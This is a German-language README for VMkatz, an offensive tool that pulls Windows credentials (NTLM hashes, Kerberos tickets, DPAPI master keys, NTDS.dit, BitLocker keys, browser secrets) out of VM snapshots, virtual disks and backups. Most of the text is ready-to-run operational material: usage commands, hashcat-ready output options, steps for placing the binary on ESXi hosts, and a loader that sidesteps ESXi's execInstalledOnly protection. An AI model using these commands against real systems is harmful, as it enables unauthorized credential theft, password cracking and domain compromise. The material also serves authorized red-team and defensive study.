
Windows-Anmeldedaten direkt aus VM-Speicher-Snapshots und virtuellen Festplatten extrahieren
Sie sind drei Wochen in einem Red-Team-Engagement. Sie landen auf einem NAS, das an den Virtualisierungscluster angebunden ist — Hunderte Gigabyte an .vmdk, .vmsn, .sav liegen direkt dort. Aber Ihre Verbindung schafft 200 KB/s. Eine einzelne 100-GB-Festplatte zu exfiltrieren würde sechs Tage dauern.
VMkatz existiert, weil Sie nicht exfiltrieren müssen, was Sie direkt vor Ort lesen können. Es extrahiert Windows-Anmeldeinformationen direkt aus VM-Dateien — Speicherabbilder, virtuelle Festplatten, Veeam-Backups: NTLM-Hashes, Kerberos-Tickets, DPAPI-Masterkeys, LSA-Secrets, NTDS.dit, BitLocker-Schlüssel, Browser-Geheimnisse.
Einzelne statische Binärdatei, ~3 MB. Legen Sie sie auf dem ESXi-Host, dem Proxmox-Node oder dem NAS ab. Richten Sie sie auf einen VM-Ordner und nehmen Sie Anmeldeinformationen mit, keine Festplatten-Images.
Alle 9 SSP-Credential-Provider, die mimikatz implementiert:
| Provider | Daten | Hinweise |
|---|---|---|
| MSV1_0 | NT/LM-Hashes, SHA1 | Physical-Scan-Fallback für ausgelagerte Einträge |
| WDigest | Klartext-Passwörter | Linked-List-Walk + .data-Fallback |
| Kerberos | AES/RC4/DES-Schlüssel, Tickets (.kirbi/.ccache) | AVL-Tree-Walk + Ticket-Carving für freigegebene Sitzungen |
| TsPkg | Klartext-Passwörter | Nur RDP-Sitzungen |
| DPAPI | Master-Key-Cache (GUID + entschlüsselter Schlüssel) | SHA1-Masterkey für Offline-DPAPI-Entschlüsselung |
| SSP | Klartext-Anmeldeinformationen | SspCredentialList in msv1_0.dll |
| LiveSSP | Klartext-Anmeldeinformationen | Erfordert livessp.dll (selten nach Win8) |
| Credman | Gespeicherte Anmeldeinformationen | Hash-Table- + Single-List-Enumeration |
| CloudAP | Azure-AD-Tokens | Typischerweise leer bei rein lokalem Logon |
Zusätzlich: BitLocker-FVEK-Extraktion aus dem Speicher (Pool-Tag-Scan nach FVEc/Cngb).
$DPAPImk$ — Modi 15300/15310/15900/15910)| Format | Erweiterungen | Quelle | Status |
|---|---|---|---|
| VMware-Snapshots | .vmsn + .vmem | Workstation, ESXi | Getestet |
| VMware-Embedded-Snapshots | .vmsn (ohne .vmem) | ESXi-Suspend | Getestet |
| VirtualBox-Saved-States | .sav | VirtualBox | Getestet |
| QEMU/KVM-Savevm-States | automatisch erkannt | Proxmox, QEMU | Getestet |
| QEMU/KVM-ELF-Core-Dumps | .elf | virsh dump | Getestet |
| Hyper-V-Saved-States | .vmrs | Hyper-V 2016+ | Getestet |
| Veeam-Backups | .vbk, .vib, .vrb | Veeam B&R | Getestet |
| VMware-virtuelle-Festplatten | .vmdk (sparse + flat) | Workstation, ESXi | Getestet |
| VirtualBox-virtuelle-Festplatten | .vdi | VirtualBox | Getestet |
| QEMU/KVM-virtuelle-Festplatten | .qcow2 | QEMU, Proxmox | Getestet |
| Hyper-V-virtuelle-Festplatten | .vhdx, .vhd | Hyper-V | Getestet |
| VMFS-5/6-Roh-SCSI-Geräte | /dev/disks/... | ESXi (umgeht Dateisperren) | Getestet |
| LVM-Blockgeräte | /dev/... | Proxmox LVM-thin | Getestet |
| Roh-Registry-Hives | SAM, SYSTEM, SECURITY | reg save | Getestet |
| Roh-NTDS.dit | ntds.dit + SYSTEM | Domänencontroller | Getestet |
| LSASS-Minidump | .dmp | procdump, Task-Manager | Getestet |
| VM-Verzeichnisse | beliebiger Ordner | Erkennt automatisch alle Dateien | Getestet |
Ziel-Betriebssystem: Windows Server 2003 bis Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Format | Flag | Beschreibung |
|---|---|---|
text | --format text (Standard) | Vollständiger Credential-Dump mit Sitzungsmetadaten |
brief | --format brief | Kompakte Zusammenfassung mit einer Zeile pro Credential |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump-Format |
hashcat | --format hashcat | Rohe Hashes: Modus 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Maschinenlesbar, alle Felder |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Wenn der VIB-Schutz (execInstalledOnly) aktiviert ist, verwenden Sie den Python-Loader – die Einstellung muss nicht deaktiviert werden:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Siehe docs/esxi.md für Details zur VIB-Umgehung, VMFS-Rohgerätezugriff und Auto-Discovery.
VMkatz ist modular. Funktionen können zur Kompilierzeit aktiviert/deaktiviert werden:
| Funktion | Beschreibung | Standard |
|---|---|---|
vmware | VMware .vmsn/.vmem-Snapshot-Unterstützung | Ja |
vbox | VirtualBox .sav-Saved-State-Unterstützung | Ja |
qemu | QEMU/KVM-ELF-Core-Dumps + Proxmox savevm | Ja |
hyperv | Hyper-V .vmrs/.bin/.raw-Dump-Unterstützung | Ja |
sam | Datenträgerextraktion (SAM/LSA/DCC2) + Handler für Datenträgerformate | Ja |
ntds.dit | NTDS.dit-AD-Extraktion. Erfordert sam | Ja |
carve | Eingeschränkte Extraktion aus teilweiser/abgeschnittener Speicherabbilddatei | Ja |
dump | Prozessspeicher-Dump als Minidump | Ja |
vmfs | VMFS-5/6-Rohparser für ESXi-SCSI-Geräte. Erfordert sam | Ja |
chrome | Extraktion von Browser-Geheimnissen (Chromium + Firefox). Erfordert sam | Nein |
veeam | Veeam VBK/VIB/VRB-Backup-Unterstützung. Erfordert sam | Nein |